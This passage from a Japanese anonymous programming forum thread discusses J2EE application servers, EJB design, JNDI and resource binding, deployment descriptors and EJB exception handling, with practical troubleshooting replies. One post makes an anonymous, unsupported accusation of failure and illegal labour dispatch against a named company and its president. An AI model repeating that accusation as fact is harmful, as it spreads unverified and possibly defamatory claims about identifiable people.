0160デフォルトの名無しさん
NGNGあっちは RC の障害だろ。
0161デフォルトの名無しさん
NGNGいと思います?当然ですが、パフォーマンスとかセキュリティとか、それなりのも
のを求められます。
WebLogic,iPlanet,WebSphere,Oracle 9i AS...
使ってみた感想とかおせえて。
0162デフォルトの名無しさん
NGNGAP鯖検討するのにB2BとかB2Cとか分けて考える理由がわからん。
両方やった経験からすると、検討すべきはもっと上のレイヤーだと思われ。
0163デフォルトの名無しさん
NGNGそれだけの条件で解がでるわけねえだろ。
それなりってなんだよ(藁
0164デフォルトの名無しさん
NGNGWebLogicはWebSphereに比べればだいぶまし。
0165デフォルトの名無しさん
NGNG>>BtoBのウェブアプリ
WebServiceを使うってことでっか?
0166デフォルトの名無しさん
NGNGSystem.outでデバックしてますがなにか?
Ap鯖によっては開発ツールだめだめなのがあるんですよ
0167デフォルトの名無しさん
NGNGWeblogicとWebsphereならまずどのIDEも対応しているかと。
まぁWeblogicが硬い選択だよね・・・。Websphereは使いにくいし仕様準拠が古いから。
0168デフォルトの名無しさん
NGNG>>System.outでデバックしてますがなにか?
>>Ap鯖によっては開発ツールだめだめなのがあるんですよ
効率わるいだろ(w
JB7はいいじゃないの?APSにもかなり対応しているし
0169デフォルトの名無しさん
NGNG開発・動作確認: 好きな IDE + Tomcat
実テスト・実運用: WebSphere なり WebLogic なり
EJB, MQ なんかの鯖パッケージ依存部分は置いておいて普通こうだろ。
0170デフォルトの名無しさん
NGNG0171デフォルトの名無しさん
NGNG0172デフォルトの名無しさん
NGNGTomcatはEJB対応してないのでは?
揚げ足ですまそ
0173デフォルトの名無しさん
NGNGTomcatはEJBコンテナないね。
動作確認とかパイロット作成とかは、JBoss+JettyまたはTomcatでいいね。
0174デフォルトの名無しさん
NGNGでも、始めっから導入するコンテナで開発したほうがよくない?
J2EE準拠とかいいつつ少しずつコンテナによって動作が違うぜよ。
エンコーデングの対応とか。
0175宇和島真紅
NGNGさて、C++か、C言語を吸っている方に相談です。
#inculude "Application"が、うまくコンパイルされずエラーになってしまいます
どうしたらいいのでしょうか?
教えてください
0176デフォルトの名無しさん
NGNG0177デフォルトの名無しさん
NGNGワロタ
0178デフォルトの名無しさん
NGNG売れていると話を聞きました。どういうことなんでしょう?
どこがよくなったの?
0179デフォルトの名無しさん
NGNG環境の
・ウェブサーバ
・サーブレットエンジン
・アプリケーションサーバ
などは、どの製品を採用してます?理由も教えてくれるとありがたいです。
0180デフォルトの名無しさん
NGNG0181デフォルトの名無しさん
NGNG重いし、バグ多い上に、マニュアルの日本語が意味不明かつ
エラーメッセージが不親切。おかげでトラブった時原因調査に
エラく時間がかかる。
これほど開発者泣かせのアプリサーバはないのでは。
っていうか、俺が泣いてるんだけどさ。
なんで売れてるのかさっぱりわからんが、いい迷惑だ。
0182デフォルトの名無しさん
NGNGwww.evs.co.jp
社長池上は、
・ASPもダメ
→わずか6ヶ月で撤退(結局、モノは出来なかった)
・Frameworkもダメ
→ニュースリリースは出したが、やっぱりモノは出来ていない
・人材派遣(それも違法請負派遣)
→バカでも立ち上げやすい、違法請負派遣業にやっと落ち着く。でももうだめぽ
の3ダメ男。これはもう、逝け神ぽ。
皆さん、こんな会社にサポートされたいですか?
ショボーン━━(´・ω・`)━━
--
■e-ベンチャサポートって、どうヨ?■
http://mentai.2ch.net/infosys/kako/1005/10056/1005659171.html
■e-ベンチャサポートって、どうヨ? Part 2■
http://science.2ch.net/test/read.cgi/infosys/1018064816/
0183デフォルトの名無しさん
NGNG評価と開発と試験はJBoss&JettyまたはTomcatですますよ、おいらは。
かねないし。IDEはEclipseで、ALL無料開発環境完成です。
0184デフォルトの名無しさん
NGNG0185デフォルトの名無しさん
NGNGインタフェース定義とか、DD書くのとか、CMPマッピングとか。
手書きするの、かったるいですよね。
0186デフォルトの名無しさん
NGNGEclipseにLombozプラグインを入れてみれ。EJBWizardとか便利だぞ。
JBoss3.0にも対応したYO
0187185
NGNG使ってみた。結構イイカンジ。
EJB周りはまだ触ってないけど、裏でEJBDoclet使ってるんだね。
JSPのコンパイルと、デプロイができるだけでも、かなりいいですね。
0188デフォルトの名無しさん
NGNGEJBて(大規模以外は
0189デフォルトの名無しさん
NGNGいや、逆によほど小規模でもない限り選択肢として
EJBを考慮すべき時期になってきたんじゃないかな。
0190デフォルトの名無しさん
NGNG0192デフォルトの名無しさん
NGNG・ORDER BY句の追加
・SELECT句の関数の追加:AVG, COUNT, MAX, MIN, SUM
・WHERE句の関数の追加:MOD
http://www.theserverside.com/resources/article.jsp?l=MonsonHaefel-Column1
0193デフォルトの名無しさん
NGNGフィールド名日本語はダメぽ?
0194デフォルトの名無しさん
NGNGejb-jar.xmlでのフィールド名と実DBのフィールド名との
マッピングはベンダー依存だとおもうんだが。
(たとえばJBossならjboss.xmlにマッピングを指定できる。)
つまりアプリケーションサーバを明記しないと、知ってる
人でも答えようがない罠。
0195デフォルトの名無しさん
NGNGWeblogic6.1です。
jboss3も知りたい・・・。
0196194
NGNGちょっとJBoss+MySQLでやってみたんだけど、できなかった。
(俺なら日本語カラム名で悩むより、素直に英字を使うが。)
WebLogicの設定はここら辺に書いてある。
http://edocs.beasys.co.jp/e-docs/wls61/ejb/EJB_reference.html
とっくに参照してるかも知れないけど、一応貼っとく。
日本語フィールドの記述はないけど、CMPで使うDB設計なら必読だと思う。
# あと>>194の修正。jboss.xml→jbosscmp-jdbc.xml
0197デフォルトの名無しさん
NGNGEJBではThread操作は禁止されていますが、
非同期駆動をしたいときは、
1. JMSでメッセージをおくる(その後は、Message-Driven Beanで処理)
くらいしか、方法はないでしょうか?
EJB2.1 では、Timer Service が使えるのですが...。
現状のJ2EE1.2 or 1.3 では他に方法はない?
この需要は多いと思うのだけど。
0198デフォルトの名無しさん
NGNGJMS Client --> JM SServer --> EJB Container <--> MDB
にこだわる必要はなく、
JMS Client --> JM SServer --> JMS Client <--> 各種EJB
でいいんじゃない?
0199デフォルトの名無しさん
NGNG0200デフォルトの名無しさん
NGNGEJB2.1 Spec
ttp://java.sun.com/products/ejb/docs.html
のChapter22 だよ。
詳しくはよんでください。
(まとめる力は俺にはない。)
ようは、「時間がきたら、このメソッドよんでね。」ってコンテナに登録しておけること。
0201デフォルトの名無しさん
NGNGそれともSessionBeanでそこから通常のSQLでDBアクセスするほうが多い?
EntityBeanはシステム設計の概念からER図やDFDという考え方から
変えないといかん気がするし,なんとなく使い勝手悪そう
0202デフォルトの名無しさん
NGNGおせーてくだせいませ
0203デフォルトの名無しさん
NGNG0204デフォルトの名無しさん
NGNGおしえてくださいませ。
0205デフォルトの名無しさん
NGNGThe EJB timer service is a container-provided service that allows
the Bean Provider to register enterprise beans for timer callbacks
to occur after at a specified time, after a specified elapsed time,
or at specified intervals.
0206デフォルトの名無しさん
NGNGあくまで個人的な意見と断っておくが、
EntityBeanは正直おすすめできない。
環境設定トラブルや、パフォーマンスの問題で苦労することが多い割には
導入するメリットは少ない。
SessionBeanだけ使っても、トランザクションの自動化はできるから、
それでじゅうぶんだと思う。
0207デフォルトの名無しさん
NGNGsession bean + SQL で書いていると、
将来負荷分散するつもりでなければ
(逆に言えば、負荷見込みができるのであれば)
servlet + EJB + sql ではなくて、
servlet + sql で十分のような気がします。
その辺どうですか?
0208デフォルトの名無しさん
NGNGEJB板ってどこなの?
0209デフォルトの名無しさん
NGNG板とスレの間違いじゃねーの?
>>207
好きなようにしたら良いんじゃねーの?
0210デフォルトの名無しさん
NGNGはい、そのとおりです
0211デフォルトの名無しさん
NGNG0212デフォルトの名無しさん
NGNG208 さん、209 さん、210 さん ご意見ありがとうございます。
今回仕様とか見ていないんですが、
最後作るものを想像してみると
今までと何が違うのかよくわかんなくなりまして。
EJB を使うと何が違うのかなぁ、とおもったのです。
ありがとうございました。
0213デフォルトの名無しさん
NGNGEJBを使うと、分散システムになるのが最大の違いじゃないの。
ServletとEJBを必ず同じマシンで動かすなら、ほとんど意味は
ないんじゃない。
まあ、トランザクション管理が楽になるというのはあるけど。
0214デフォルトの名無しさん
NGNGいくら漏れが厨だからっつっても、重すぎるなぁ。。。
0215デフォルトの名無しさん
NGNG隠蔽してくれる(または外部パラメータ化してコードレスで制御できるようにする)
ことじゃないかな?
XA分散トランザクション制御もそうだし、インスタンスのライフサイクル管理や
プーリングなんかも楽でしょ?
例えばStatelessなEnterprise Beanなんかに対して、最初は
「デフォルト時は常に3インスタンス生成しておいて、ピーク時にも最大500インスタンス
までしか生成させないようにしよう」とかやっておいて、
将来的に「あ、やっぱデフォルト10の最大800にしよう」とかしようとした時に、
パラメータをいじるだけで簡単に変更できるし。
これが普通のBeanだったりするとわざわざSingletonパターンで自前でこういった
仕組みを用意しなければならない。
0216デフォルトの名無しさん
NGNG全然楽じゃないよ。
書かなきゃならないコードが多すぎる。アプリ全体での見通しは悪いし。
そもそも、開発者が分散トランザクション制御とか、インスタンスのライフサイクル管理とか
コネクションプーリングとか、SQL文ガリガリとか、セッション管理とか、負荷分散とか
考えなきゃいけないのが鬱。
WebシステムでJSP使うと、デザイナとの共同作業がめんどくさい。
ロジック組み上げた状態でJSPテンプレート側の仕様変更とかあると、大変だし。。。
とりあえず、今もWinのJava2環境でWebシステム開発してるけど、そういう面倒な
部分からはほとんど逃れられたので楽。
0218215
NGNG書かなきゃいけないコードって、別に普通にJavaBeansで書くのとほとんど
変わらないと思うんだけど。JavaBeansからEJBへの移行ってやったことある?
どっちでもビジネスロジックに専念するだけで済んだよ?
RemoteやHomeのことをいってるのかな?
EJBの基本的な「お約束」の部分は普通ウィザード任せでしょ?
これはJ2EEに限らず他のアーキテクチャでもそうだし。
> 開発者が分散トランザクション制御とか、インスタンスのライフサイクル管理とか
> コネクションプーリングとか、SQL文ガリガリとか、セッション管理とか、負荷分散とか
> 考えなきゃいけないのが鬱。
これはむしろ基盤チームの人たちやデプロイヤといった、ごく小数の精鋭部隊が
DD作る時に考えればいいだけのことじゃないかな?(SQL除く)
開発者は上記の技術についてコードに一切記述する必要がないよね?意識する必要さえない。
開発者はロジックのみに専念できるはず。
小数の精鋭部隊(=基盤を作る側)が苦しむ代わりに、大多数のプログラマがその土台に乗って、
ごく単純なロジックだけを力技でガリガリ作っていけるのがコンポーネント指向のいいところだと思う。
0219デフォルトの名無しさん
NGNGごめん、煽った俺が悪かった。
EJBで頑張ってくれ。俺はもうEJBなんか面倒でやってられない。
他に新天地を見つけたから。
0220デフォルトの名無しさん
NGNGどんな新天地?
0221デフォルトの名無しさん
NGNG厨が使う環境だよ。言うほどのものでもないよ。ガンガッテクレ
とりあえず、残業もなく飲みにも逝けてる。
それだけで十分だ。
0222215
NGNG実は.NET+C#(煽りじゃなくてこれマジ)
Windows系でCOM+やら.NET Assemblyやってると、EJBが使えるのに
使わないのがすっげーもったいなく思えるんだよね。
0223デフォルトの名無しさん
NGNGうーんと、そっちが教えてくれたから、こちらも恥ずかしながら告白するよ。
アップルのWebObjectsってやつ。
アップル製品だけど、開発はWindowsでもできる。運用は、Java2環境なら、OS選ばず。
Enterprise Object Frameworkっていうフレームワークがあって、DB周りの面倒なことは
全部面倒見てくれる。
世間の評判は、マカ専用Webオーサリングソフトって感じなのかな?
まぁ、マイナー製品だし、なんでもいいけど。
周りから何を言われようと、客に満足してもらえて自分が楽できれば、
それでいいやって感じ。
以前は、WebLogicだったんだけど、いろいろと大変だったから、
それに比べれば天国と地獄。
環境は違うけど、お互いガンガロウぜ。
0224デフォルトの名無しさん
NGNG> コネクションプーリングとか、SQL文ガリガリとか、セッション管理とか、負荷分散とか
> 考えなきゃいけないのが鬱。
てか、それを考えないでシステム作るほうが怖いんじゃない?
仕組みさえ知ってれば、設定するだけで動くコンテナがあるのがいいと思うんだけど。
まぁいろいろ前提知識が要るという時点で、プロの環境だよね。
その分、労力をかけずに高度なことができるってわけで。
絵を書くときにMSのペイントで満足するか、AdobeのIllustratorを使いたいと思うかどうかだね。
>以前は、WebLogicだったんだけど、いろいろと大変だったから、
>それに比べれば天国と地獄。
そういう状況はよく分かる。
EJB使うには、分析や設計もプロでないと苦労するし。
ただ、慣れるとEJBも楽だよ。
WebSphereもWSADなんかできて便利になったし。(重いのには閉口するが)
>Windows系でCOM+やら.NET Assemblyやってると、EJBが使えるのに
>使わないのがすっげーもったいなく思えるんだよね。
MS環境でずっとやってきた人も、そういう風に思うんだ〜。
やっぱ、分かってる人はちがうね。
.NETもいいけど、あのアーキテクチャじゃスケーラビリティや信頼性はないしね...
なんでもSOAPに頼るのはいいけど、SOAPだけでトランザクション保証できるのかなぁ。
0225デフォルトの名無しさん
NGNG0226デフォルトの名無しさん
NGNG問い合わせには強烈なコストが掛かる」という程度のことも
理解できていないアホが関わる最近の風潮は、どうにかして
欲しいもんだ。
0227デフォルトの名無しさん
NGNG>仕組みさえ知ってれば、設定するだけで動くコンテナがあるのがいいと思うんだけど。
>まぁいろいろ前提知識が要るという時点で、プロの環境だよね。
>その分、労力をかけずに高度なことができるってわけで。
>絵を書くときにMSのペイントで満足するか、AdobeのIllustratorを使いたいと思うかどうかだね。
同意。俺はWebObjectsだけど、元々NEXT製品だし(^^;)、クセの強い独自framework使うから、
OOP/Java/RDBMS/SQL/HTTP/HTML等々の知識は必須。カスタムSQL使えるけど、
ほとんどその必要性が無いような案件ばっかり・・・(^^;
DBからの情報を、Webインターフェースに接続する作業なんかはマウス操作(笑)なんだけど、
とはいえ、「なぜこういう構造になっているのか」ってところを理解すべきなのは他環境と変わらず。
マイナー製品だから情報量も少なくサポートも不安。
そういう点では、WebLogic/WebSphere/.NETあたりのほうが、遙かにアドバンテージ高いかも。
ただWebObjectsは、開発環境と、アプリケーション鯖としては、同時アクセス数無制限ライセンスの
運用環境が同梱されてて¥7万で買えちゃうから、客にも提案しやすいよ。
Webベースの運用ツールも付いてるし、負荷分散とかも楽。
もし機会があれば、さわってみてほしいな。スキルがある人間だったら、どんなものか
だいたい判ると思うから。
ちなみにJ2EE対応で、EJBコンテナとしても使える。Servlet/JSPにも対応。
>EJB使うには、分析や設計もプロでないと苦労するし。
>ただ、慣れるとEJBも楽だよ。
>WebSphereもWSADなんかできて便利になったし。(重いのには閉口するが)
分析・設計が必要なのは、どんなツールを使っても同じだろうね。
道具だからね。「まず顧客の要求ありき」、でやらないと、だれも幸せになれないし。
WSADといえば、Eclipseで最近遊んでるんだけど、あれはいいね。
確かに重いけど、JBuilderとかTCC程じゃないし。プラグインが豊富なのが素晴らしい。
特に最近は、Eclipse-UMLとかいうプラグインで遊んでるよ。
EclipseをWebObjectsの開発環境にするプラグインもあるみたいなので、
これも評価してみるつもり。
0228デフォルトの名無しさん
NGNGという道はあるのでしょうか? WebObjectsというのは、開発環境と運用環境
とを合わせ持っている? (?_?)
0229デフォルトの名無しさん
NGNGWebObjectsは、
1. Webアプリの統合開発環境 :WebObjects Developer
2. Webアプリの運用環境 :WebObjects Deplotment
の2つが、1つのパッケージに入ってて、¥7万ちょっと。
2年前くらいまでは、全く同じ製品構成が、100倍の\700万だったの。
ある時期に、一気にタダみたいな値下げを行ったんだけどね。
開発環境は、Windows2000(XPも多分OK)と、MacOSX。
運用環境は、Java2VMがあれば、なんでもOK。
対応DBは、基本的にJDBC2.0ドライバがあるものならほぼ何でもOK。
日本だと超無名だけど、アプリケーション鯖としては、多分業界初だった。
アプリからDBにアクセスするためのフレームワークは、10年以上の歴史があって、
元々は金融系でOpenStepとかと一緒に使われてたらしい。
IDEとしては、一般的なコーディング用のIDEと、
Webインターフェースのデザインツールと、
RDBのテーブル構造をJavaオブジェクトにモデリングをするツールが主。
運用環境は、単に1鯖あたり同時接続数無制限のライセンス付き。
CPU1個につきいくら、とかいうライセンスじゃないから、零細には有り難い。
IDEだけでも、50トランザクション/分の運用環境が付いてるから、
開発→ビルド→実行テストが、楽にできる。
元々、実績のあるフレームワークが、Web用・DB用で用意されてるんだけど、
最新バージョンでは、J2EE準拠で、EJB/Servletコンテナとしても使える。
漏れは使ったこと無いけど。
興味あるなら、http://www.apple.co.jp/webobjects/ あたりで見てみれ。
0230デフォルトの名無しさん
NGNGWebObjectsがどんなものか、詳しい情報が、
http://www.apple.co.jp/webobjects/wo_docs_j.html
に、PDFで用意されてる。
漏れは元々アップル&マク嫌いなんだけど、WebObjectsだけは唯一例外で認めてるよ。
0231デフォルトの名無しさん
NGNG>そもそも分散システムをつくるのに、「ネットワーク越しの
PS3は次世代ネットワークだと煽りまくってますけど
実現するのかねぇ...
0232デフォルトの名無しさん
NGNG0233デフォルトの名無しさん
NGNGJ2EE導入したことで、実際に幸せになっていることってあるのか?
J2EEで運用されているサイトはことごとく重いような気がするし。
Amazonとか、IBMとか。
0234デフォルトの名無しさん
NGNGなにと比較してるの?
0235デフォルトの名無しさん
NGNGおまえEJBの仕様とか何も知らないで発言してるだろ(藁)
0236デフォルトの名無しさん
NGNGそもそもこのスレに、J2EE自体はリファレンスでしかないってことを
知ってるやつってどのくらいいるんだ?
0237デフォルトの名無しさん
NGNGJBでもできるんだけど
0238233
NGNGいや、知らないも何も、プロジェクトで使ってから
三年くらいになりますが・・・
>>236
J2EE仕様が最初に発表されてから5年くらいたちますが、
どのアプリケーションサーバベンダーも、いつまでたっても
パフォーマンス面の不安を解消できていません。
そのことについてどう思います?
特に、EJBのCMPは仕様自体に無理があると感じることはありませんか?
0239デフォルトの名無しさん
NGNGどの辺に無理があると思うの?
0240233
NGNGデータベースのテーブルとのマッピングです。
テーブルのJoinをうまく表現できてないように思えます。
結局、1テーブルに単純に一行挿入したり、更新したりするのは
簡単にできますし、パフォーマンス的にも悪くないのですが、
複雑な構造をもったテーブルの検索にはうまく対処できません。
0241デフォルトの名無しさん
NGNGJBuilder Enterpriseと、WebObjectsを比べてるのか。
開発効率と実用的な運用まで考えたらJBは、WOに遙かに及ばないよ。
知名度と技術者確保に関しては、WOはJBに遙かに及ばないけど(w
0242デフォルトの名無しさん
NGNGうちのプロジェクトがまさにそう。
開発やってる人間にDDのここの設定
直してください。
って言っても、ハァ?って答え。
その辺も面倒見れるだけの、人数が
基幹チームにいればいいだが、
どうしても手が足りないところとか、
力作業は開発にお願いすることになり、
結局なにもわかってない人相手にするのは
疲れるわけで。
嫁とはまだやってないわけで。
0243デフォルトの名無しさん
NGNGなんでもかんでも、
・複雑なテーブル構造
・SQL文
で解決しようと考えていることが間違い。
0244デフォルトの名無しさん
NGNGだからといって、EJBが最適とは言い切れないだろうけどな。
0245デフォルトの名無しさん
NGNGWIN版ないの
0246デフォルトの名無しさん
NGNG0247デフォルトの名無しさん
NGNG更新系はCMP-EB、参照系はSLSBからDAOコールというのが、
EJBの定石らしいぞ。まあ、通信に伴うネゴシエーションが
時間コストの大部分だということが分かっていれば、そう
するのが当たり前だという結論には当然達するはずだが・・・
なんで、そうしないヤツラがおおいんだろうね?
0248247
NGNGあと、EJB2.0のCMP仕様は、RDBのOuterJoinをCMPで表現
するらしいぞ。試してみたら?
0249デフォルトの名無しさん
NGNGEJBコンテナ環境とか、呼び出す為のクライアントとか。
やっぱJ2EE RIだのJBossだのフリーで軽いAPサーバを各開発PCに入れてそこでデプロイして、
わざわざドライバ作ってそこからアクセス?
0250デフォルトの名無しさん
NGNGこの前のJavaOneで、そのあたりの話があってたね。
(結局良くわからんかったけど。)
0251デフォルトの名無しさん
NGNGそーだす。
0252デフォルトの名無しさん
NGNG私は JBuilder Ent版 を使っているので、付属のBorland Enterprise Server
をJBuilderIDE内から起動しています。
0253デフォルトの名無しさん
NGNGOptionAというものもあるようですね
http://bdn.borland.com/article/0,1410,29074,00.html
http://bdn.borland.com/article/images/29074/transaction_commit_options.pdf
0254デフォルトの名無しさん
NGNGBorlandEnterpriseServerで、WebserviceパーティションにWebServiceを配布して
StandardパーティションにEJBのjarを配布させて、WebServiceからEJBを呼ぶ際に
Log4j.propertiesが見つからないってなExceptionが発生するんですが。
あと、CORBAのBAD_PARAMってなExceptionも。
すげー困ってるんでわかる方、教えてください。
BESの設定の問題?
とりあえずwarに、必要なライブラリは含めて配布してます。
0255デフォルトの名無しさん
NGNGC:\BorlandEnterpriseServer\var\servers\yourhost\adm\properties\partitions\standard\partition.properties
に、container.auto.expand.wars=true という行を追加しましょう。
webservicesパーティションにはこの行が追加されていることに注目しましょう。
この行があると、
C:\BorlandEnterpriseServer\var\servers\yourhost\partitions\standard\tmp
に、展開用のディレクトリが作成されます。
あと、
http://info.borland.com/devsupport/bes/faq/5.0/webfacilities/web_container.html#no_cgi
にも、目を通してください。
0256デフォルトの名無しさん
NGNG「CORBAのBAD_PARAMってなException」は、何が例外が出るようなことを
しているのでは?
0257デフォルトの名無しさん
NGNGちと勘違いしました。
Log4j.propertiesが見つからないというのは、ApacheAXISの設定の問題ですね。
ApacheAXISのマニュアルなどを参考にしてください。
0258デフォルトの名無しさん
NGNG貴重なアドバイスありがとうございます!
warを解凍して実行するプロパティはTrueを指定したつもりだったのですが
もう一度確認してみます。
CORBAのExceptionの方がよくわからないのですが、EJBもWebServiceの
クラスもSerializableインターフェースを実装させているのですが、
そーいうたぐいのエラーなのでしょうか?
ちなみにJBuilder上でTomcatを起動している場合はEJBの呼び出しも、すべて
うまくいっています。
Log4jの件も、Axisのマニュアルを確認してみます。
ありがとうございます!
0259デフォルトの名無しさん
NGNGLog4j.properties の件は、AXISのライブラリをwarに含めるのではなく、
パーティションのlibディレクトリに置いたほうが良いかもしれません。
また、CORBAのException の件は、パーティションのクラスローダの設定
が関係しているかもしれません。
http://info.borland.com/devsupport/bes/faq/5.0/webfacilities/web_container.html#classcast
が参考になるかも。
0260デフォルトの名無しさん
NGNG問題の件は無事に解決させてきました。
非常に参考になり助かりました。
ありがとうございました!
0261デフォルトの名無しさん
NGNG0262デフォルトの名無しさん
NGNGあれ登録すると何がどうなるの?今は参考書の言われるままになんとなく書いているんだけど。
あれ書くとコードの中で"ejb/xxxxxx"とか直打ちしてるのが必要なくなるとか?
0263デフォルトの名無しさん
NGNG> DD書く時に出てくるJNDI名とかJNDI名の参照って何ですか?
EJBを(名前を付けて)登録してるの。
> コードの中で"ejb/xxxxxx"とか直打ちしてるのが必要なくなる
なくならないよ。その名前で呼びだせるようになるだけ。つうか、その
直打ちは、client側のコードでしょ。
0264デフォルトの名無しさん
NGNGコードの中に直打ちしたJNDI名がそのまま使われると、
あとでJNDI名の変更がやりにくいから、DDでマッピングする
仕組みが導入されたんだと思われ。
0265264
NGNG0267262
NGNG確かJNDIを意識する必要があるのが、
・JAR自体につけるJNDI
・WARでつけるJNDI参照
・EARでつけるJNDI参照
・クライアントの直打ち
の4箇所だったと思うんだけど、
「JAR自体にJNDI名をつけてJNDIに登録して、クライアントからその名前で呼ぶ・・・というのは
分かるんだけど、WARやEARにJNDI参照をつけるのには何か意味があるのかなー?って
思ったわけです。コンテナがこの情報を使って何をしてるのかが分からないんです。
これって特に指定しなくても動作するものなのですか?
あと、リソース参照というのも分かりません。JDBCのDataSourceとかもここに登録するの?
今はコードのlookupで"jdbc/xxxxx"を決め打ちしてて、これで特に問題ないから気にしてないんだけど、
DDに記述すると何か挙動が変わるんでしょうか?
うーんどうやら根本的な知識が不足しているようだ。
0268263
NGNG少し遠まわりになるけど、
http://www.wakhok.ac.jp/%7Emaruyama/j2ee/j2ee/
とかで少し勉強することをおすすめする。
ちみなら、3〜4時間もあれば読み終る。
0269デフォルトの名無しさん
NGNGlookup(java:comp/env/jdbc/hogeDatasource)
でルックアップしている場合は、そのENC(環境ネーミングコンテキスト)内の
jdbc/hogeDataSource
はDDの中で宣言しておかなければいけないのよ。
そのjdbc/hogeDataSource を、実際のアプリケーションサーバーで定義されているDatasourceの
JNDI名(myappli/fooDataSource)とbindingしなければいけないのよ。
jdbc/hogeDataSource -> myappli/fooDataSource
bindingの仕方はアプリケーションサーバーによって異なるのよ。
直接、lookup(jdbc/hogeDatasource)
のようにするのは、もう古いやりかたなわけよ。
0270262
NGNG大変参考になります。当方たった1人でJ2EEの調査やらされてるもので。
で、あまり頭よくないお馬鹿さんなので、もう少し質問させてください。
教えていただいたサイトはとりあえずJNDIの項目だけ読みました。
自分なりに以下のような手順になるのかな?と考えたんだけど、これであってますか?
(たぶん間違ってるだろうなぁ)
1.まずDDにJNDI名とその実体をバインディングするように記述する。
EJBであればEJB-JARのDDに、実体クラス名「samplepackage.HogeHogeHome」とJNDI名「ejb/HogeHoge」のマッピングを登録する。
JDBCであれば??????のDDに、定義Datasource名「sampledatasouece/HogeHogeDB」とJNDI名「jdbc/HogeHoge」のマッピングを登録する。
2.続いてDDにJNDI名と参照するクライアント側の変換マッピングを記述する。
EJBであればWARとEARに、使用するJNDI名「ejb/HogeHoge」とLookup名「sampleapp/ejb/HogeHoge」のマッピングを登録する。
JDBCであれば???????に、使用するJNDI名「jdbc/HogeHoge」とLookup名「sampleapp/jdbc/HogeHoge」のマッピングを登録する。
3.コードの中ではLookup名でNamingContextからオブジェクトを取得する。
EJBであれば、lookup( "sampleapp/ejb/HogeHoge" )とする。
JDBCであれば、lookup( "sampleapp/jdbc/HogeHoge" )とする。
??????の部分は分かりませんでした・・・
0271263
NGNGJDBCドライバをJNDI名にバインドするのは、各アプリケーションサーバによって違う。
基本的にはサーバの設定ファイルか、APIで設定する
0272262
NGNGそういえばJDBC設定はJ2EE RIではconfファイルに、WASでは管理コンソールからリソース設定した記憶があります。勘違いですスミマセン。
「jdbc:oracle:thin:servername:sid|jdbc/HogeHogeDB」とかいうヤツですよね?
てことは1のステップでどこかにJDBC設定を行う必要はないってことですか?(APサーバとして既に設定されているから)
で、2のステップが、
「JDBCであればEJB-JARに、使用するJNDI名「jdbc/HogeHoge」(APサーバに登録済)とLookup名「sampleapp/jdbc/HogeHoge」のマッピングを登録する。」
となるんでしょうか?
0273263
NGNG良く見ると微妙に勘違いしてそう。基本は、jndi名でlookupするんだけど。
あと、earのDD(application.xml)ではJNDIの設定なんて無いけど。
0274デフォルトの名無しさん
NGNGsunのドキュメントとかネットの解説ページのEJBのサンプルって有りますよね。
あれってほとんどが同じVM上でクライアントのプログラムを実行してるじゃないですか
で、そのクライアントプログラムを別のVM上で実行しようとしてるんですが
それについての詳しい資料がみつかりません。
ネットで探したり本屋で立ち読みしたり(金がないんで)してどうやら環境変数を
設定して実行すればいいのかなとは思ったんですが(java -D…って感じで)
もう少し詳しい資料、もしくは環境変数の設定のし方を教えていただけませんか?
0275262
NGNGあれ?そうなんですか?JDBCの話ですよね?
てゆうか今は実際にAPサーバに登録しているJNDI名をクライアントコードに
ハードコードして呼び出しているんだけど、
>>269では「直接書くのは古いやり方なのでDDでマッピングしたものを使うべき」
のようなコメントがあったので、むりやりそうしてみたんですけど。
> あと、earのDD(application.xml)ではJNDIの設定なんて無いけど。
「リソース参照」とかいうところがJDBC Datasourceのそれなのかなぁ?って思ってました。
これから会社に行ってもう一度見直してみます・・・。
0276デフォルトの名無しさん
NGNGその仮の名前を実際のアプリケーションサーバーで定義されているJNDI名にマッピングさせるのがbinding。
bindingの方法はアプリケーションサーバーによって、異なる。
SUN J2EE RI なら sun-j2ee-ri.xml (だったっけ?)にその情報は書かれるし、
WebSphere なら ibm-ext-bnd.xmi に書かれる。
0277デフォルトの名無しさん ◆MSEEFfect2
NGNG「DD」の意味とか調べたいのですが、何を参考にされていますか。
よろしくだゴルァ
0278デフォルトの名無しさん
NGNG本当に必要なんでしょうか?
どういった時に必要、もしくは威力を発揮するのでしょうか?
0279デフォルトの名無しさん
NGNG無駄にコストがかさむような気がするな。。。必要以上に複雑になるような。
メンテ性に悪い気もする。
0280デフォルトの名無しさん
NGNG279さんが書くコードよりはメンテナンス性は良いし、拡張性も良いと思います。
0281デフォルトの名無しさん
NGNG分かってる人が適切なツール使ってれば。
不勉強な人がviとか秀丸で作業してるようならお勧めできないが。
0283デフォルトの名無しさん
NGNG単純にServlet+JSP+JDBCでやったほうが効率いい場合ってありますよね?
0285デフォルトの名無しさん
NGNGパフォ悪いってことでつか?
0286デフォルトの名無しさん
NGNGまさかとは思いますが、あなたは効率のみに注目しているのですか?
0287デフォルトの名無しさん
NGNGじゃ、OREILLYのEJB第3版はどうよ。
0288デフォルトの名無しさん
NGNG処理異常で RemoteException を返すのはよいとして、
obj の値の組み合わせによって作業を継続できないような場合、
何を返すのが妥当なんでしょう?
public Object[] getXxx(Object obj)
0289デフォルトの名無しさん
NGNG呼ぶ前に例外がでないように検証する。
or RemoteException派生クラスを送出。
or RemoteExceptionを送出。
or nullを返す。
0290デフォルトの名無しさん
NGNGRemoteException を EJB内からthrowしちゃだめ。
これ常識。
ユーザー例外 か EJBException をthrowしましょう。
0291デフォルトの名無しさん
NGNGRemoteException派生クラスなんてもってほか。
ユーザー例外は、RuntimeExceptionやRemoteExceptionから派生しちゃだめ。
0292288
NGNG教えていただいたことで検索してみました。
EJB から throw した EJBException をコンテナが RemoteException に置き換える(らしい)から
RemoteException を使うのはだめ。
EJBException は RemoteException に置き換えられる(らしい)から
特定の例外を返すには向いていない気がしました。
となると、java.lang.Exception を継承した ユーザ例外を作成するのが
よいんでしょうか。
0293デフォルトの名無しさん
NGNGはい。java.lang.Exception を継承したユーザ例外を作成してください。
0294デフォルトの名無しさん
NGNGただし、ユーザ例外の場合には自動的にはRollbackが掛からないから
気をつけてください。最終的にはEJBExceptionで包んだほうが良いかも。
0295デフォルトの名無しさん
NGNGユーザー例外をthrowする前に、EJBContext#setRollbackOnly() を呼ぶという
のもオススメです。
0296289
NGNGどもです。勉強になりますた。
0297288
NGNGコンテナ上で返す例外は、色々気をつけなければいけない事があるのですね。
勉強になりました。ありがとうございます。
0298デフォルトの名無しさん
NGNG結局、EJBが持つデフォルトのJNDI名をそのまま使って呼び出しても問題はないわけね?
というか、今作っているシステムはそのまま素のJNDI名前でlookupかけていて、
WARからEJB参照は一切記述していないんだけど。
